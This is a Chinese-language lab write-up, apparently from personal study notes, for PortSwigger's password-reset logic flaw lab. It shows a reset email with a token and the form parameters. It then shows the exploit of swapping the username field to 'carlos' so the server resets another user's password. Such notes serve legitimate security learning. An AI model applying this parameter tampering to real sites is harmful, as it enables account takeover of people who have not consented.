> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/authentication/flawed-password-reset-logic.md).
# 密码重置中的错误逻辑
密码重置中的错误逻辑，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 密码重置逻辑缺陷
该实验展示了密码重置机制中的一个漏洞。目标是重置……的密码 **Carlos** 然后访问其“我的账户”页面。/ 提供的标识符：
* **wiener:peter**
* 受害者姓名： **carlos**
### 分析与步骤
#### 1. 忘记密码功能
应用程序通过“忘记密码”提供恢复功能。
在此部分可以更改与该账户关联的电子邮件地址
#### 2. 收到重置邮件
一旦电子邮件被更改，就会发送一条包含重置链接的消息。/ 该邮件包含一个临时 **令牌** 在 URL 中：
```http
发送时间： 2025-12-09 19:42:17 +0000
发件人： "No reply"
收件人： wiener@exploit-0a46000003d9c0a086ee072901710023.exploit-server.net
主题： 账户恢复
你好！
请点击下面的链接重置您的密码。
https://0ae200710383c04f868b0866005e0000.web-security-academy.net/forgot-password?temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
谢谢，
支持团队
```
#### 3. 表单提交
访问此链接后，应用程序会要求输入新密码。/ 发送的参数类似于：
```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=wiener
new-password-1=test
new-password-2=test
```
#### 4. 利用缺陷逻辑
服务器不检查 **不** 该令牌实际上是否与查询中提到的用户匹配。/ 只需将字段 **username=wiener** 替换为 **username=carlos**:
```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=carlos
new-password-1=test
new-password-2=test
```
应用程序接受该请求，从而允许为 Carlos 设置新密码。
---
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